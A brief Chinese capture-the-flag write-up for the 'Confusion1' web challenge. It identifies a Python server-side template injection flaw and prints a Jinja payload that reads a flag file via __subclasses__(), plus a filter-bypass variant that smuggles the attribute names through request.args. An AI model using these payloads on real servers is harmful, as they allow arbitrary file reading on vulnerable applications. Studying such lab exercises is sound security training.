背景知识
SSTI漏洞
题目

根据网站图片和题目描述的提示,大象是php,蟒蛇是python,说明了这个网站是用python写的
在python中,比较常规的漏洞就是SSTI模板注入

没有思路,先点login和register页面看看

查看源代码
之前猜测是ssti漏洞,先验证

ssti常用注入
__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承类的所有子类
测试payload
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}
被过滤了

替换payload为
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
得到flag

参考学习链接:
【愚公系列】2023年05月 攻防世界-Web(Confusion1)_confusion1攻防世界_愚公搬代码的博客-CSDN博客 【攻防世界WEB】难度四星12分进阶题:Confusion1_wx617e2c956ef44的技术博客_51CTO博客